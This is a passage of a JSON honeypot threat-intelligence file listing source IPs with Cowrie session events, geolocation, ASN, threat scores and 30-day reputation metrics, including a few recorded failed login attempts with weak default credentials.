      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-11T11:48:38.401000+00:00",
        "last_seen_30d": "2026-03-11T11:50:32.030000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6,
        "Honeytrap": 1
      }
    },
    "143.110.249.21": {
      "attack_count": 6,
      "first_seen": "2026-03-12T16:20:44.767Z",
      "last_seen": "2026-03-12T16:20:45.307Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T16:10:48.799000+00:00",
        "last_seen_30d": "2026-03-12T16:21:53.633000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "167.94.138.59": {
      "attack_count": 6,
      "first_seen": "2026-03-23T00:33:11.048Z",
      "last_seen": "2026-03-23T00:34:20.308Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 62.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.3,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 22,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T03:15:47+00:00",
        "last_seen_30d": "2026-03-23T00:35:24.200000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 52,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Dionaea": 1,
        "Ipphoney": 1
      }
    },
    "66.132.172.141": {
      "attack_count": 6,
      "first_seen": "2026-03-24T01:39:23.183Z",
      "last_seen": "2026-03-24T01:39:57.806Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 73.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.1,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 11,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-20T18:25:27+00:00",
        "last_seen_30d": "2026-03-30T23:57:40.232000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 44,
        "Honeytrap": 28,
        "Cowrie": 6,
        "ElasticPot": 3,
        "Dionaea": 1
      }
    },
    "85.239.61.218": {
      "attack_count": 6,
      "first_seen": "2026-03-18T01:04:46.764Z",
      "last_seen": "2026-03-18T01:04:50.799Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 9123,
      "as_org": "Jsc timeweb",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T01:04:46.764000+00:00",
        "last_seen_30d": "2026-03-18T01:05:56.585000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "172.202.117.125": {
      "attack_count": 5,
      "first_seen": "2026-03-06T06:20:55.632Z",
      "last_seen": "2026-03-06T06:21:05.989Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 64.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.5,
        "persistence": 23.3,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 28,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T15:26:54+00:00",
        "last_seen_30d": "2026-03-29T00:48:48.918000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Honeytrap": 10,
        "Cowrie": 5
      }
    },
    "185.93.89.28": {
      "attack_count": 5,
      "first_seen": "2026-03-06T05:07:10.588Z",
      "last_seen": "2026-03-06T05:07:12.941Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "123@Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T10:19:15.858000+00:00",
        "last_seen_30d": "2026-03-06T05:08:17.863000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Heralding": 1
      }
    },
    "69.5.0.120": {
      "attack_count": 5,
      "first_seen": "2026-03-15T21:12:49.868Z",
      "last_seen": "2026-03-15T21:12:51.590Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "user3"
      ],
      "passwords_attempted": [
        "user3"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T21:12:49.868000+00:00",
        "last_seen_30d": "2026-03-15T21:13:54.643000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "77.90.185.36": {
      "attack_count": 5,
      "first_seen": "2026-03-05T19:48:16.104Z",
      "last_seen": "2026-03-05T19:48:18.587Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!2026Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T08:52:45.964000+00:00",
        "last_seen_30d": "2026-03-05T19:49:23.045000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "162.142.125.118": {
      "attack_count": 4,
      "first_seen": "2026-03-04T20:59:28.140Z",
      "last_seen": "2026-03-04T20:59:43.428Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 44.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.1,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 19,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T02:58:49+00:00",
        "last_seen_30d": "2026-03-20T05:26:29.721000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "Honeytrap": 35,
        "Cowrie": 4
      }
    },
    "185.19.79.32": {
      "attack_count": 4,
      "first_seen": "2026-03-12T14:15:32.359Z",
      "last_seen": "2026-03-24T18:28:27.188Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kuwait",
      "country_code": "KW",
      "city": "Kuwait City",
      "asn": 42961,
      "as_org": "Mobile Telecommunications Company K.S.C.P.",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T14:15:32.359000+00:00",
        "last_seen_30d": "2026-03-24T18:29:34.691000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "64.62.197.111": {
      "attack_count": 4,
      "first_seen": "2026-03-29T03:11:32.482Z",
      "last_seen": "2026-03-29T03:11:36.503Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 75.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 28,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T08:55:07+00:00",
        "last_seen_30d": "2026-03-30T09:08:45.364000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Cowrie": 4,
        "Honeytrap": 3,
        "Tanner": 1
      }
    },
    "159.223.147.52": {
      "attack_count": 3,
      "first_seen": "2026-03-24T19:57:26.051Z",
      "last_seen": "2026-03-24T19:57:26.728Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 50.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.6,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 1,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-24T19:57:25+00:00",
        "last_seen_30d": "2026-03-24T19:58:42.957000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Honeytrap": 17,
        "Cowrie": 3,
        "Ciscoasa": 2,
        "CitrixHoneypot": 1,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "176.65.148.80": {
      "attack_count": 3,
      "first_seen": "2026-03-15T22:18:30.943Z",
      "last_seen": "2026-03-15T22:19:33.322Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T22:18:30.943000+00:00",
        "last_seen_30d": "2026-03-15T22:20:42.820000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "192.109.200.219": {
      "attack_count": 3,
      "first_seen": "2026-03-10T20:28:19.048Z",
      "last_seen": "2026-03-10T20:28:19.049Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 84.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 286,
        "days_active_30d": 30,
        "ports_targeted_30d": 59,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T19:52:53+00:00",
        "last_seen_30d": "2026-03-31T16:26:45.423000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 226,
        "Honeytrap": 57,
        "Cowrie": 3
      }
    },
    "47.253.246.87": {
      "attack_count": 3,
      "first_seen": "2026-03-26T11:06:57.610Z",
      "last_seen": "2026-03-26T11:07:59.268Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T11:06:57.610000+00:00",
        "last_seen_30d": "2026-03-26T11:09:10.275000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "47.81.57.6": {
      "attack_count": 3,
      "first_seen": "2026-03-06T15:33:31.264Z",
      "last_seen": "2026-03-06T15:34:32.765Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T15:33:31.264000+00:00",
        "last_seen_30d": "2026-03-06T15:35:38.492000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "91.230.168.127": {
      "attack_count": 3,
      "first_seen": "2026-03-24T21:06:18.841Z",
      "last_seen": "2026-03-24T21:06:18.845Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 30,
        "ports_targeted_30d": 56,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T11:02:39+00:00",
        "last_seen_30d": "2026-03-31T16:26:17.600000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 55,
        "Cowrie": 3
      }
    },
    "103.155.131.83": {
      "attack_count": 2,
      "first_seen": "2026-03-04T07:41:36.925Z",
      "last_seen": "2026-03-04T07:41:50.635Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 141480,
      "as_org": "Haash Media",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:41:36.925000+00:00",
        "last_seen_30d": "2026-03-04T07:43:00.143000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.81.236.82": {
      "attack_count": 2,
      "first_seen": "2026-03-18T14:54:25.621Z",
      "last_seen": "2026-03-18T14:54:39.334Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 135845,
      "as_org": "Krishiinet Infocom Private Limited",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T14:54:25.621000+00:00",
        "last_seen_30d": "2026-03-18T14:55:48.296000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.156.143.62": {
      "attack_count": 2,
      "first_seen": "2026-03-28T12:54:48.416Z",
      "last_seen": "2026-03-28T12:55:01.115Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T12:54:48.416000+00:00",
        "last_seen_30d": "2026-03-28T12:56:01.691000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.253.154.129": {
      "attack_count": 2,
      "first_seen": "2026-03-24T09:02:45.071Z",
      "last_seen": "2026-03-24T09:03:16.943Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jagraon",
      "asn": 17917,
      "as_org": "Quadrant Televentures Limited",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T09:02:45.071000+00:00",
        "last_seen_30d": "2026-03-24T09:04:22.381000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "14.38.208.166": {
      "attack_count": 2,
      "first_seen": "2026-03-14T13:58:20.959Z",
      "last_seen": "2026-03-14T13:58:33.598Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Anyang-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T13:58:20.959000+00:00",
        "last_seen_30d": "2026-03-14T13:59:36.631000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "154.250.212.207": {
      "attack_count": 2,
      "first_seen": "2026-03-09T10:18:02.996Z",
      "last_seen": "2026-03-09T10:18:17.810Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": "Isser",
      "asn": 36947,
      "as_org": "Telecom Algeria",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T10:18:02.996000+00:00",
        "last_seen_30d": "2026-03-09T10:21:36.191000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "164.92.148.116": {
      "attack_count": 2,
      "first_seen": "2026-03-17T13:18:13.602Z",
      "last_seen": "2026-03-17T13:18:13.880Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T13:10:27.277000+00:00",
        "last_seen_30d": "2026-03-17T13:19:17.836000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "170.81.154.196": {
      "attack_count": 2,
      "first_seen": "2026-03-10T21:18:00.923Z",
      "last_seen": "2026-03-10T21:18:32.206Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Santo Andr\u00e9",
      "asn": 266428,
      "as_org": "R L A World Net LTDA",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T15:21:12.377000+00:00",
        "last_seen_30d": "2026-03-10T21:19:34.790000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "174.0.229.250": {
      "attack_count": 2,
      "first_seen": "2026-03-30T18:23:46.754Z",
      "last_seen": "2026-03-30T18:23:59.056Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Calgary",
      "asn": 6327,
      "as_org": "Shaw Communications",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T18:23:46.754000+00:00",
        "last_seen_30d": "2026-03-30T18:25:08.011000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.203": {
      "attack_count": 2,
      "first_seen": "2026-03-11T19:50:34.211Z",
      "last_seen": "2026-03-11T19:50:34.594Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 29,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T00:17:01+00:00",
        "last_seen_30d": "2026-03-30T05:25:11.663000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 90,
        "Honeytrap": 36,
        "Dionaea": 3,
        "Cowrie": 2,
        "Wordpot": 1
      }
    },
    "220.167.232.111": {
      "attack_count": 2,
